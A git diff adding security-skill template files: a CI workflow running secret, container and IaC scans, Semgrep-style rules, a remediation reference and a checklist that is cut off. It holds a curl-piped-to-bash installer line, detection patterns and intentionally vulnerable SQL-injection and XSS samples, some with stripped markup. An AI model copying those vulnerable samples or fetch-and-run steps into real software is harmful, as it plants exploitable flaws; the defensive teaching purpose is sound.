--entropy=True . \ + > ${{ env.REPORT_DIR }}/trufflehog-results.json || true + + - name: Upload Secrets Scan Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: secrets-scan-results + path: ${{ env.REPORT_DIR }}/ + retention-days: 30 + + # Job 4: Container Image Scanning + container-scan: + name: Container Image Security Scan + runs-on: ubuntu-latest + if: hashFiles('Dockerfile') != '' + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Build Docker Image + run: | + docker build -t app:${{ github.sha }} . + + - name: Run Trivy Scanner + uses: aquasecurity/trivy-action@master + with: + image-ref: app:${{ github.sha }} + format: 'sarif' + output: '${{ env.REPORT_DIR }}/trivy-results.sarif' + severity: 'CRITICAL,HIGH' + + - name: Upload Trivy Results to GitHub Security + if: always() + uses: github/codeql-action/upload-sarif@v3 + with: + sarif_file: '${{ env.REPORT_DIR }}/trivy-results.sarif' + + - name: Upload Container Scan Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: container-scan-results + path: ${{ env.REPORT_DIR }}/ + retention-days: 30 + + # Job 5: Infrastructure-as-Code Security Scanning + iac-scan: + name: IaC Security Scan + runs-on: ubuntu-latest + if: hashFiles('**/*.tf', '**/*.yaml', '**/*.yml') != '' + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Run Checkov + run: | + pip install checkov + checkov -d . \ + --output json \ + --output-file ${{ env.REPORT_DIR }}/checkov-results.json \ + --quiet \ + || true + + - name: Run tfsec (for Terraform) + if: hashFiles('**/*.tf') != '' + run: | + curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash + tfsec . \ + --format json \ + --out ${{ env.REPORT_DIR }}/tfsec-results.json \ + || true + + - name: Process IaC Results + run: | + # Fail on critical findings + if [ -f "${{ env.REPORT_DIR }}/checkov-results.json" ]; then + critical_count=$(python3 -c "import json; data=json.load(open('${{ env.REPORT_DIR }}/checkov-results.json')); print(data.get('summary', {}).get('failed', 0))") + echo "Failed checks: $critical_count" + if [ "$critical_count" -gt "0" ]; then + echo "⚠️ Warning: IaC security issues found" + # Optionally fail the build + # exit 1 + fi + fi + + - name: Upload IaC Scan Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: iac-scan-results + path: ${{ env.REPORT_DIR }}/ + retention-days: 30 + + # Job 6: Security Report Generation and Notification + security-report: + name: Generate Security Report + runs-on: ubuntu-latest + needs: [sast-scan, dependency-scan, secrets-scan] + if: always() + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Download All Scan Results + uses: actions/download-artifact@v4 + with: + path: all-results/ + + - name: Generate Consolidated Report + run: | + # Consolidate all security scan results + mkdir -p consolidated-report + + cat > consolidated-report/security-summary.md << 'EOF' + # Security Scan Summary + + **Scan Date**: $(date -u +"%Y-%m-%d %H:%M:%S UTC") + **Commit**: ${{ github.sha }} + **Branch**: ${{ github.ref_name }} + + ## Scan Results + + ### SAST Scan + See artifacts: `sast-results` + + ### Dependency Scan + See artifacts: `dependency-scan-results` + + ### Secrets Scan + See artifacts: `secrets-scan-results` + + ### Container Scan + See artifacts: `container-scan-results` + + ### IaC Scan + See artifacts: `iac-scan-results` + + --- + + For detailed results, download scan artifacts from this workflow run. + EOF + + - name: Comment on PR (if applicable) + if: github.event_name == 'pull_request' + uses: actions/github-script@v7 + with: + script: | + const fs = require('fs'); + const report = fs.readFileSync('consolidated-report/security-summary.md', 'utf8'); + + github.rest.issues.createComment({ + issue_number: context.issue.number, + owner: context.repo.owner, + repo: context.repo.repo, + body: report + }); + + - name: Upload Consolidated Report + if: always() + uses: actions/upload-artifact@v4 + with: + name: consolidated-security-report + path: consolidated-report/ + retention-days: 90 + +# Security Best Practices Demonstrated: +# +# 1. ✅ Minimal permissions (principle of least privilege) +# 2. ✅ Multiple security scan types (defense in depth) +# 3. ✅ Fail-fast on critical findings +# 4. ✅ Secrets detection across full git history +# 5. ✅ Container image scanning before deployment +# 6. ✅ IaC scanning for misconfigurations +# 7. ✅ Artifact retention for compliance audit trail +# 8. ✅ SARIF format for GitHub Security integration +# 9. ✅ Scheduled scans for continuous monitoring +# 10. ✅ PR comments for developer feedback +# +# Compliance Mappings: +# - SOC 2: CC6.1, CC6.6, CC7.2 (Security monitoring and logging) +# - PCI-DSS: 6.2, 6.5 (Secure development practices) +# - NIST: SA-11 (Developer Security Testing) +# - OWASP: Integrated security testing throughout SDLC diff --git a/skills/secsdlc/sbom-syft/assets/rule-template.yaml b/skills/secsdlc/sbom-syft/assets/rule-template.yaml new file mode 100644 index 0000000..2aebcfe --- /dev/null +++ b/skills/secsdlc/sbom-syft/assets/rule-template.yaml @@ -0,0 +1,355 @@ +# Security Rule Template +# +# This template demonstrates how to structure security rules/policies. +# Adapt this template to your specific security tool (Semgrep, OPA, etc.) +# +# Rule Structure Best Practices: +# - Clear rule ID and metadata +# - Severity classification +# - Framework mappings (OWASP, CWE) +# - Remediation guidance +# - Example vulnerable and fixed code + +rules: + # Example Rule 1: SQL Injection Detection + - id: sql-injection-string-concatenation + metadata: + name: "SQL Injection via String Concatenation" + description: "Detects potential SQL injection vulnerabilities from string concatenation in SQL queries" + severity: "HIGH" + category: "security" + subcategory: "injection" + + # Security Framework Mappings + owasp: + - "A03:2021 - Injection" + cwe: + - "CWE-89: SQL Injection" + mitre_attack: + - "T1190: Exploit Public-Facing Application" + + # Compliance Standards + compliance: + - "PCI-DSS 6.5.1: Injection flaws" + - "NIST 800-53 SI-10: Information Input Validation" + + # Confidence and Impact + confidence: "HIGH" + likelihood: "HIGH" + impact: "HIGH" + + # References + references: + - "https://owasp.org/www-community/attacks/SQL_Injection" + - "https://cwe.mitre.org/data/definitions/89.html" + - "https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html" + + # Languages this rule applies to + languages: + - python + - javascript + - java + - go + + # Detection Pattern (example using Semgrep-style syntax) + pattern-either: + - pattern: | + cursor.execute($SQL + $VAR) + - pattern: | + cursor.execute(f"... {$VAR} ...") + - pattern: | + cursor.execute("..." + $VAR + "...") + + # What to report when found + message: | + Potential SQL injection vulnerability detected. SQL query is constructed using + string concatenation or f-strings with user input. This allows attackers to + inject malicious SQL code. + + Use parameterized queries instead: + - Python: cursor.execute("SELECT * FROM users WHERE id = ?", (user_id,)) + - JavaScript: db.query("SELECT * FROM users WHERE id = $1", [userId]) + + See: https://owasp.org/www-community/attacks/SQL_Injection + + # Suggested fix (auto-fix if supported) + fix: | + Use parameterized queries with placeholders + + # Example vulnerable code + examples: + - vulnerable: | + # Vulnerable: String concatenation + user_id = request.GET['id'] + query = "SELECT * FROM users WHERE id = " + user_id + cursor.execute(query) + + - fixed: | + # Fixed: Parameterized query + user_id = request.GET['id'] + query = "SELECT * FROM users WHERE id = ?" + cursor.execute(query, (user_id,)) + + # Example Rule 2: Hardcoded Secrets Detection + - id: hardcoded-secret-credential + metadata: + name: "Hardcoded Secret or Credential" + description: "Detects hardcoded secrets, API keys, passwords, or tokens in source code" + severity: "CRITICAL" + category: "security" + subcategory: "secrets" + + owasp: + - "A07:2021 - Identification and Authentication Failures" + cwe: + - "CWE-798: Use of Hard-coded Credentials" + - "CWE-259: Use of Hard-coded Password" + + compliance: + - "PCI-DSS 8.2.1: Use of strong cryptography" + - "SOC 2 CC6.1: Logical access controls" + - "GDPR Article 32: Security of processing" + + confidence: "MEDIUM" + likelihood: "HIGH" + impact: "CRITICAL" + + references: + - "https://cwe.mitre.org/data/definitions/798.html" + - "https://owasp.org/www-community/vulnerabilities/Use_of_hard-coded_password" + + languages: + - python + - javascript + - java + - go + - ruby + + pattern-either: + - pattern: | + password = "..." + - pattern: | + api_key = "..." + - pattern: | + secret = "..." + - pattern: | + token = "..." + + pattern-not: | + $VAR = "" + + message: | + Potential hardcoded secret detected. Hardcoding credentials in source code + is a critical security vulnerability that can lead to unauthorized access + if the code is exposed. + + Use environment variables or a secrets management system instead: + - Python: os.environ.get('API_KEY') + - Node.js: process.env.API_KEY + - Secrets Manager: AWS Secrets Manager, HashiCorp Vault, etc. + + See: https://cwe.mitre.org/data/definitions/798.html + + examples: + - vulnerable: | + # Vulnerable: Hardcoded API key + api_key = "sk-1234567890abcdef" + api.authenticate(api_key) + + - fixed: | + # Fixed: Environment variable + import os + api_key = os.environ.get('API_KEY') + if not api_key: + raise ValueError("API_KEY environment variable not set") + api.authenticate(api_key) + + # Example Rule 3: XSS via Unsafe HTML Rendering + - id: xss-unsafe-html-rendering + metadata: + name: "Cross-Site Scripting (XSS) via Unsafe HTML" + description: "Detects unsafe HTML rendering that could lead to XSS vulnerabilities" + severity: "HIGH" + category: "security" + subcategory: "xss" + + owasp: + - "A03:2021 - Injection" + cwe: + - "CWE-79: Cross-site Scripting (XSS)" + - "CWE-80: Improper Neutralization of Script-Related HTML Tags" + + compliance: + - "PCI-DSS 6.5.7: Cross-site scripting" + - "NIST 800-53 SI-10: Information Input Validation" + + confidence: "HIGH" + likelihood: "MEDIUM" + impact: "HIGH" + + references: + - "https://owasp.org/www-community/attacks/xss/" + - "https://cwe.mitre.org/data/definitions/79.html" + - "https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html" + + languages: + - javascript + - typescript + - jsx + - tsx + + pattern-either: + - pattern: | + dangerouslySetInnerHTML={{__html: $VAR}} + - pattern: | + innerHTML = $VAR + + message: | + Potential XSS vulnerability detected. Setting HTML content directly from + user input without sanitization can allow attackers to inject malicious + JavaScript code. + + Use one of these safe alternatives: + - React: Use {userInput} for automatic escaping + - DOMPurify: const clean = DOMPurify.sanitize(dirty); + - Framework-specific sanitizers + + See: https://owasp.org/www-community/attacks/xss/ + + examples: + - vulnerable: | + // Vulnerable: Unsanitized HTML + function UserComment({ comment }) { + return
; + } + + - fixed: | + // Fixed: Sanitized with DOMPurify + import DOMPurify from 'dompurify'; + + function UserComment({ comment }) { + const sanitized = DOMPurify.sanitize(comment); + return
; + } + + # Example Rule 4: Insecure Cryptography + - id: weak-cryptographic-algorithm + metadata: + name: "Weak Cryptographic Algorithm" + description: "Detects use of weak or deprecated cryptographic algorithms" + severity: "HIGH" + category: "security" + subcategory: "cryptography" + + owasp: + - "A02:2021 - Cryptographic Failures" + cwe: + - "CWE-327: Use of a Broken or Risky Cryptographic Algorithm" + - "CWE-326: Inadequate Encryption Strength" + + compliance: + - "PCI-DSS 4.1: Use strong cryptography" + - "NIST 800-53 SC-13: Cryptographic Protection" + - "GDPR Article 32: Security of processing" + + confidence: "HIGH" + likelihood: "MEDIUM" + impact: "HIGH" + + references: + - "https://cwe.mitre.org/data/definitions/327.html" + - "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/" + + languages: + - python + - javascript + - java + + pattern-either: + - pattern: | + hashlib.md5(...) + - pattern: | + hashlib.sha1(...) + - pattern: | + crypto.createHash('md5') + - pattern: | + crypto.createHash('sha1') + + message: | + Weak cryptographic algorithm detected (MD5 or SHA1). These algorithms are + considered cryptographically broken and should not be used for security purposes. + + Use strong alternatives: + - For hashing: SHA-256, SHA-384, or SHA-512 + - For password hashing: bcrypt, argon2, or PBKDF2 + - Python: hashlib.sha256() + - Node.js: crypto.createHash('sha256') + + See: https://cwe.mitre.org/data/definitions/327.html + + examples: + - vulnerable: | + # Vulnerable: MD5 hash + import hashlib + hash_value = hashlib.md5(data).hexdigest() + + - fixed: | + # Fixed: SHA-256 hash + import hashlib + hash_value = hashlib.sha256(data).hexdigest() + +# Rule Configuration +configuration: + # Global settings + enabled: true + severity_threshold: "MEDIUM" # Report findings at MEDIUM severity and above + + # Performance tuning + max_file_size_kb: 1024 + exclude_patterns: + - "test/*" + - "tests/*" + - "node_modules/*" + - "vendor/*" + - "*.min.js" + + # False positive reduction + confidence_threshold: "MEDIUM" # Only report findings with MEDIUM confidence or higher + +# Rule Metadata Schema +# This section documents the expected structure for rules +metadata_schema: + required: + - id: "Unique identifier for the rule (kebab-case)" + - name: "Human-readable rule name" + - description: "What the rule detects" + - severity: "CRITICAL | HIGH | MEDIUM | LOW | INFO" + - category: "security | best-practice | performance" + + optional: + - subcategory: "Specific type (injection, xss, secrets, etc.)" + - owasp: "OWASP Top 10 mappings" + - cwe: "CWE identifier(s)" + - mitre_attack: "MITRE ATT&CK technique(s)" + - compliance: "Compliance standard references" + - confidence: "Detection confidence level" + - likelihood: "Likelihood of exploitation" + - impact: "Potential impact if exploited" + - references: "External documentation links" + +# Usage Instructions: +# +# 1. Copy this template when creating new security rules +# 2. Update metadata fields with appropriate framework mappings +# 3. Customize detection patterns for your tool (Semgrep, OPA, etc.) +# 4. Provide clear remediation guidance in the message field +# 5. Include both vulnerable and fixed code examples +# 6. Test rules on real codebases before deployment +# +# Best Practices: +# - Map to multiple frameworks (OWASP, CWE, MITRE ATT&CK) +# - Include compliance standard references +# - Provide actionable remediation guidance +# - Show code examples (vulnerable vs. fixed) +# - Tune confidence levels to reduce false positives +# - Exclude test directories to reduce noise diff --git a/skills/secsdlc/sbom-syft/references/EXAMPLE.md b/skills/secsdlc/sbom-syft/references/EXAMPLE.md new file mode 100644 index 0000000..c317b39 --- /dev/null +++ b/skills/secsdlc/sbom-syft/references/EXAMPLE.md @@ -0,0 +1,550 @@ +# Reference Document Template + +This file demonstrates how to structure detailed reference material that Claude loads on-demand. + +**When to use this reference**: Include a clear statement about when Claude should consult this document. +For example: "Consult this reference when analyzing Python code for security vulnerabilities and needing detailed remediation patterns." + +**Document purpose**: Briefly explain what this reference provides that's not in SKILL.md. + +--- + +## Table of Contents + +**For documents >100 lines, always include a table of contents** to help Claude navigate quickly. + +- [When to Use References](#when-to-use-references) +- [Document Organization](#document-organization) +- [Detailed Technical Content](#detailed-technical-content) +- [Security Framework Mappings](#security-framework-mappings) + - [OWASP Top 10](#owasp-top-10) + - [CWE Mappings](#cwe-mappings) + - [MITRE ATT&CK](#mitre-attck) +- [Remediation Patterns](#remediation-patterns) +- [Advanced Configuration](#advanced-configuration) +- [Examples and Code Samples](#examples-and-code-samples) + +--- + +## When to Use References + +**Move content from SKILL.md to references/** when: + +1. **Content exceeds 100 lines** - Keep SKILL.md concise +2. **Framework-specific details** - Detailed OWASP/CWE/MITRE mappings +3. **Advanced user content** - Deep technical details for expert users +4. **Lookup-oriented content** - Rule libraries, configuration matrices, comprehensive lists +5. **Language-specific patterns** - Separate files per language/framework +6. **Historical context** - Old patterns and deprecated approaches + +**Keep in SKILL.md**: +- Core workflows (top 3-5 use cases) +- Decision points and branching logic +- Quick start guidance +- Essential security considerations + +--- + +## Document Organization + +### Structure for Long Documents + +For references >100 lines: + +```markdown +# Title + +**When to use**: Clear trigger statement +**Purpose**: What this provides + +## Table of Contents +- Links to all major sections + +## Quick Reference +- Key facts or commands for fast lookup + +## Detailed Content +- Comprehensive information organized logically + +## Framework Mappings +- OWASP, CWE, MITRE ATT&CK references + +## Examples +- Code samples and patterns +``` + +### Section Naming Conventions + +- Use **imperative** or **declarative** headings +- ✅ "Detecting SQL Injection" not "How to detect SQL Injection" +- ✅ "Common Patterns" not "These are common patterns" +- Make headings **searchable** and **specific** + +--- + +## Detailed Technical Content + +This section demonstrates the type of detailed content that belongs in references rather than SKILL.md. + +### Example: Comprehensive Vulnerability Detection + +#### SQL Injection Detection Patterns + +**Pattern 1: String Concatenation in Queries** + +```python +# Vulnerable pattern +query = "SELECT * FROM users WHERE id = " + user_id +cursor.execute(query) + +# Detection criteria: +# - SQL keyword (SELECT, INSERT, UPDATE, DELETE) +# - String concatenation operator (+, f-string) +# - Variable user input (request params, form data) + +# Severity: HIGH +# CWE: CWE-89 +# OWASP: A03:2021 - Injection +``` + +**Remediation**: +```python +# Fixed: Parameterized query +query = "SELECT * FROM users WHERE id = ?" +cursor.execute(query, (user_id,)) + +# OR using ORM +user = User.objects.get(id=user_id) +``` + +**Pattern 2: Unsafe String Formatting** + +```python +# Vulnerable patterns +query = f"SELECT * FROM users WHERE name = '{username}'" +query = "SELECT * FROM users WHERE name = '%s'" % username +query = "SELECT * FROM users WHERE name = '{}'".format(username) + +# All three patterns are vulnerable to SQL injection +``` + +#### Cross-Site Scripting (XSS) Detection + +**Pattern 1: Unescaped Output in Templates** + +```javascript +// Vulnerable: Direct HTML injection +element.innerHTML = userInput; +document.write(userInput); + +// Vulnerable: React dangerouslySetInnerHTML +
+ +// Detection criteria: +# - Direct DOM manipulation (innerHTML, document.write) +# - React dangerouslySetInnerHTML with user data +# - Template engines with autoescaping disabled + +// Severity: HIGH +// CWE: CWE-79 +// OWASP: A03:2021 - Injection +``` + +**Remediation**: +```javascript +// Fixed: Escaped output +element.textContent = userInput; // Auto-escapes + +// Fixed: Sanitization library +import DOMPurify from 'dompurify'; +const clean = DOMPurify.sanitize(userComment); +
+``` + +--- + +## Security Framework Mappings + +This section provides comprehensive security framework mappings for findings. + +### OWASP Top 10 + +Map security findings to OWASP Top 10 (2021) categories: + +| Category | Title | Common Vulnerabilities | +|----------|-------|----------------------| +| **A01:2021** | Broken Access Control | Authorization bypass, privilege escalation, IDOR | +| **A02:2021** | Cryptographic Failures | Weak crypto, plaintext storage, insecure TLS | +| **A03:2021** | Injection | SQL injection, XSS, command injection, LDAP injection | +| **A04:2021** | Insecure Design | Missing security controls, threat modeling gaps | +| **A05:2021** | Security Misconfiguration | Default configs, verbose errors, unnecessary features | +| **A06:2021** | Vulnerable Components | Outdated libraries, unpatched dependencies | +| **A07:2021** | Auth & Session Failures | Weak passwords, session fixation, missing MFA | +| **A08:2021** | Software & Data Integrity | Unsigned updates, insecure CI/CD, deserialization | +| **A09:2021** | Logging & Monitoring Failures | Insufficient logging, no alerting, log injection | +| **A10:2021** | SSRF | Server-side request forgery, unvalidated redirects | + +**Usage**: When reporting findings, map to primary OWASP category and reference the identifier (e.g., "A03:2021 - Injection"). + +### CWE Mappings + +Map to relevant Common Weakness Enumeration categories for precise vulnerability classification: + +#### Injection Vulnerabilities +- **CWE-78**: OS Command Injection +- **CWE-79**: Cross-site Scripting (XSS) +- **CWE-89**: SQL Injection +- **CWE-90**: LDAP Injection +- **CWE-91**: XML Injection +- **CWE-94**: Code Injection + +#### Authentication & Authorization +- **CWE-287**: Improper Authentication +- **CWE-288**: Authentication Bypass Using Alternate Path +- **CWE-290**: Authentication Bypass by Spoofing +- **CWE-294**: Authentication Bypass by Capture-replay +- **CWE-306**: Missing Authentication for Critical Function +- **CWE-307**: Improper Restriction of Excessive Authentication Attempts +- **CWE-352**: Cross-Site Request Forgery (CSRF) + +#### Cryptographic Issues +- **CWE-256**: Plaintext Storage of Password +- **CWE-259**: Use of Hard-coded Password +- **CWE-261**: Weak Encoding for Password +- **CWE-321**: Use of Hard-coded Cryptographic Key +- **CWE-326**: Inadequate Encryption Strength +- **CWE-327**: Use of Broken or Risky Cryptographic Algorithm +- **CWE-329**: Not Using a Random IV with CBC Mode +- **CWE-798**: Use of Hard-coded Credentials + +#### Input Validation +- **CWE-20**: Improper Input Validation +- **CWE-73**: External Control of File Name or Path +- **CWE-434**: Unrestricted Upload of File with Dangerous Type +- **CWE-601**: URL Redirection to Untrusted Site + +#### Sensitive Data Exposure +- **CWE-200**: Information Exposure +- **CWE-209**: Information Exposure Through Error Message +- **CWE-312**: Cleartext Storage of Sensitive Information +- **CWE-319**: Cleartext Transmission of Sensitive Information +- **CWE-532**: Information Exposure Through Log Files + +**Usage**: Include CWE identifier in all vulnerability reports for standardized classification. + +### MITRE ATT&CK + +Reference relevant tactics and techniques for threat context: + +#### Initial Access (TA0001) +- **T1190**: Exploit Public-Facing Application +- **T1133**: External Remote Services +- **T1078**: Valid Accounts + +#### Execution (TA0002) +- **T1059**: Command and Scripting Interpreter +- **T1203**: Exploitation for Client Execution + +#### Persistence (TA0003) +- **T1098**: Account Manipulation +- **T1136**: Create Account +- **T1505**: Server Software Component + +#### Privilege Escalation (TA0004) +- **T1068**: Exploitation for Privilege Escalation +- **T1548**: Abuse Elevation Control Mechanism + +#### Defense Evasion (TA0005) +- **T1027**: Obfuscated Files or Information +- **T1140**: Deobfuscate/Decode Files or Information +- **T1562**: Impair Defenses + +#### Credential Access (TA0006) +- **T1110**: Brute Force +- **T1555**: Credentials from Password Stores +- **T1552**: Unsecured Credentials + +#### Discovery (TA0007) +- **T1083**: File and Directory Discovery +- **T1046**: Network Service Scanning + +#### Collection (TA0009) +- **T1005**: Data from Local System +- **T1114**: Email Collection + +#### Exfiltration (TA0010) +- **T1041**: Exfiltration Over C2 Channel +- **T1567**: Exfiltration Over Web Service + +**Usage**: When identifying vulnerabilities, consider which ATT&CK techniques an attacker could use to exploit them. + +--- + +## Remediation Patterns + +This section provides specific remediation guidance for common vulnerability types. + +### SQL Injection Remediation + +**Step 1: Identify vulnerable queries** +- Search for string concatenation in SQL queries +- Check for f-strings or format() with SQL keywords +- Review all database interaction code + +**Step 2: Apply parameterized queries** + +```python +# Python with sqlite3 +cursor.execute("SELECT * FROM users WHERE id = ?", (user_id,)) + +# Python with psycopg2 (PostgreSQL) +cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,)) + +# Python with SQLAlchemy (ORM) +from sqlalchemy import text +result = session.execute(text("SELECT * FROM users WHERE id = :id"), {"id": user_id}) +``` + +**Step 3: Validate and sanitize input** (defense in depth) +```python +import re + +# Validate input format +if not re.match(r'^\d+$', user_id): + raise ValueError("Invalid user ID format") + +# Use ORM query builders +user = User.query.filter_by(id=user_id).first() +``` + +**Step 4: Implement least privilege** +- Database user should have minimum required permissions +- Use read-only accounts for SELECT operations +- Never use admin/root accounts for application queries + +### XSS Remediation + +**Step 1: Enable auto-escaping** +- Most modern frameworks escape by default +- Ensure auto-escaping is not disabled + +**Step 2: Use framework-specific safe methods** + +```javascript +// React: Use JSX (auto-escapes) +
{userInput}
+ +// Vue: Use template syntax (auto-escapes) +
{{ userInput }}
+ +// Angular: Use property binding (auto-escapes) +
+``` + +**Step 3: Sanitize when HTML is required** + +```javascript +import DOMPurify from 'dompurify'; + +// Sanitize HTML content +const clean = DOMPurify.sanitize(userHTML, { + ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'p'], + ALLOWED_ATTR: [] +}); +``` + +**Step 4: Content Security Policy (CSP)** + +```html + +Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}' +``` + +--- + +## Advanced Configuration + +This section contains detailed configuration options and tuning parameters. + +### Example: SAST Tool Configuration + +```yaml +# Advanced security scanner configuration +scanner: + # Severity threshold + severity_threshold: MEDIUM + + # Rule configuration + rules: + enabled: + - sql-injection + - xss + - hardcoded-secrets + disabled: + - informational-only + + # False positive reduction + confidence_threshold: HIGH + exclude_patterns: + - "*/test/*" + - "*/tests/*" + - "*/node_modules/*" + - "*.test.js" + - "*.spec.ts" + + # Performance tuning + max_file_size_kb: 2048 + timeout_seconds: 300 + parallel_jobs: 4 + + # Output configuration + output_format: json + include_code_snippets: true + max_snippet_lines: 10 +``` + +--- + +## Examples and Code Samples + +This section provides comprehensive code examples for various scenarios. + +### Example 1: Secure API Authentication + +```python +# Secure API key handling +import os +from functools import wraps +from flask import Flask, request, jsonify + +app = Flask(__name__) + +# Load API key from environment (never hardcode) +VALID_API_KEY = os.environ.get('API_KEY') +if not VALID_API_KEY: + raise ValueError("API_KEY environment variable not set") + +def require_api_key(f): + @wraps(f) + def decorated_function(*args, **kwargs): + api_key = request.headers.get('X-API-Key') + + if not api_key: + return jsonify({'error': 'API key required'}), 401 + + # Constant-time comparison to prevent timing attacks + import hmac + if not hmac.compare_digest(api_key, VALID_API_KEY): + return jsonify({'error': 'Invalid API key'}), 403 + + return f(*args, **kwargs) + return decorated_function + +@app.route('/api/secure-endpoint') +@require_api_key +def secure_endpoint(): + return jsonify({'message': 'Access granted'}) +``` + +### Example 2: Secure Password Hashing + +```python +# Secure password storage with bcrypt +import bcrypt + +def hash_password(password: str) -> str: + """Hash a password using bcrypt.""" + # Generate salt and hash password + salt = bcrypt.gensalt(rounds=12) # Cost factor: 12 (industry standard) + hashed = bcrypt.hashpw(password.encode('utf-8'), salt) + return hashed.decode('utf-8') + +def verify_password(password: str, hashed: str) -> bool: + """Verify a password against a hash.""" + return bcrypt.checkpw( + password.encode('utf-8'), + hashed.encode('utf-8') + ) + +# Usage +stored_hash = hash_password("user_password") +is_valid = verify_password("user_password", stored_hash) # True +``` + +### Example 3: Secure File Upload + +```python +# Secure file upload with validation +import os +import magic +from werkzeug.utils import secure_filename + +ALLOWED_EXTENSIONS = {'pdf', 'png', 'jpg', 'jpeg'} +ALLOWED_MIME_TYPES = { + 'application/pdf', + 'image/png', + 'image/jpeg' +} +MAX_FILE_SIZE = 5 * 1024 * 1024 # 5 MB + +def is_allowed_file(filename: str, file_content: bytes) -> bool: + """Validate file extension and MIME type.""" + # Check extension + if '.' not in filename: + return False + + ext = filename.rsplit('.', 1)[1].lower() + if ext not in ALLOWED_EXTENSIONS: + return False + + # Check MIME type (prevent extension spoofing) + mime = magic.from_buffer(file_content, mime=True) + if mime not in ALLOWED_MIME_TYPES: + return False + + return True + +def handle_upload(file): + """Securely handle file upload.""" + # Check file size + file.seek(0, os.SEEK_END) + size = file.tell() + file.seek(0) + + if size > MAX_FILE_SIZE: + raise ValueError("File too large") + + # Read content for validation + content = file.read() + file.seek(0) + + # Validate file type + if not is_allowed_file(file.filename, content): + raise ValueError("Invalid file type") + + # Sanitize filename + filename = secure_filename(file.filename) + + # Generate unique filename to prevent overwrite attacks + import uuid + unique_filename = f"{uuid.uuid4()}_{filename}" + + # Save to secure location (outside web root) + upload_path = os.path.join('/secure/uploads', unique_filename) + file.save(upload_path) + + return unique_filename +``` + +--- + +## Best Practices for Reference Documents + +1. **Start with "When to use"** - Help Claude know when to load this reference +2. **Include table of contents** - For documents >100 lines +3. **Use concrete examples** - Code samples with vulnerable and fixed versions +4. **Map to frameworks** - OWASP, CWE, MITRE ATT&CK for context +5. **Provide remediation** - Don't just identify issues, show how to fix them +6. **Organize logically** - Group related content, use clear headings +7. **Keep examples current** - Use modern patterns and current framework versions +8. **Be concise** - Even in references, challenge every sentence diff --git a/skills/secsdlc/sbom-syft/references/WORKFLOW_CHECKLIST.md b/skills/secsdlc/sbom-syft/references/WORKFLOW_CHECKLIST.md new file mode 100644 index 0000000..eff0234 --- /dev/null +++ b/skills/secsdlc/sbom-syft/references/WORKFLOW_CHECKLIST.md @@ -0,0 +1,253 @@ +# Workflow Checklist Template + +This template demonstrates workflow patterns for security operations. Copy and adapt these checklists to your specific skill needs. + +## Pattern 1: Sequential Workflow Checklist + +Use this pattern for operations that must be completed in order, step-by-step. + +### Security Assessment Workflow + +Progress: +[ ] 1. Identify application entry points and attack surface +[ ] 2. Map authentication and authorization flows +[ ] 3. Identify data flows and sensitive data handling +[ ] 4. Review existing security controls +[ ] 5. Document findings with framework references (OWASP, CWE) +[ ] 6. Prioritize findings by severity (CVSS scores) +[ ] 7. Generate report with remediation recommendations + +Work through each step systematically. Check off completed items. + +--- + +## Pattern 2: Conditional Workflow + +Use this pattern when the workflow branches based on findings or conditions. + +### Vulnerability Remediation Workflow + +1. Identify vulnerability type + - If SQL Injection → See [sql-injection-remediation.md](sql-injection-remediation.md) + - If XSS (Cross-Site Scripting) → See [xss-remediation.md](xss-remediation.md) + - If Authentication flaw → See [auth-remediation.md](auth-remediation.md) + - If Authorization flaw → See [authz-remediation.md](authz-remediation.md) + - If Cryptographic issue → See [crypto-remediation.md](crypto-remediation.md) + +2. Assess severity using CVSS calculator + - If CVSS >= 9.0 → Priority: Critical (immediate action) + - If CVSS 7.0-8.9 → Priority: High (action within 24h) + - If CVSS 4.0-6.9 → Priority: Medium (action within 1 week) + - If CVSS < 4.0 → Priority: Low (action within 30 days) + +3. Apply appropriate remediation pattern +4. Validate fix with security testing +5. Document changes and update security documentation + +--- + +## Pattern 3: Iterative Workflow + +Use this pattern for operations that repeat across multiple targets or items. + +### Code Security Review Workflow + +For each file in the review scope: +1. Identify security-sensitive operations (auth, data access, crypto, input handling) +2. Check against secure coding patterns for the language +3. Flag potential vulnerabilities with severity rating +4. Map findings to CWE and OWASP categories +5. Suggest specific remediation approaches +6. Document finding with code location and fix priority + +Continue until all files in scope have been reviewed. + +--- + +## Pattern 4: Feedback Loop Workflow + +Use this pattern when validation and iteration are required. + +### Secure Configuration Generation Workflow + +1. Generate initial security configuration based on requirements +2. Run validation script: `./scripts/validate_config.py config.yaml` +3. Review validation output: + - Note all errors (must fix) + - Note all warnings (should fix) + - Note all info items (consider) +4. Fix identified issues in configuration +5. Repeat steps 2-4 until validation passes with zero errors +6. Review warnings and determine if they should be addressed +7. Apply configuration once validation is clean + +**Validation Loop**: Run validator → Fix errors → Repeat until clean + +--- + +## Pattern 5: Parallel Analysis Workflow + +Use this pattern when multiple independent analyses can run concurrently. + +### Comprehensive Security Scan Workflow + +Run these scans in parallel: + +**Static Analysis**: +[ ] 1a. Run SAST scan (Semgrep/Bandit) +[ ] 1b. Run dependency vulnerability scan (Safety/npm audit) +[ ] 1c. Run secrets detection (Gitleaks/TruffleHog) +[ ] 1d. Run license compliance check + +**Dynamic Analysis**: +[ ] 2a. Run DAST scan (ZAP/Burp) +[ ] 2b. Run API security testing +[ ] 2c. Run authentication/authorization testing + +**Infrastructure Analysis**: +[ ] 3a. Run infrastructure-as-code scan (Checkov/tfsec) +[ ] 3b. Run container image scan (Trivy/Grype) +[ ] 3c. Run configuration review + +**Consolidation**: +[ ] 4. Aggregate all findings +[ ] 5. Deduplicate and correlate findings +[ ] 6. Prioritize by risk (CVSS + exploitability + business impact) +[ ] 7. Generate unified security report + +--- + +## Pattern 6: Research and Documentation Workflow + +Use this pattern for security research and documentation tasks. + +### Threat Modeling Workflow + +Research Progress: +[ ] 1. 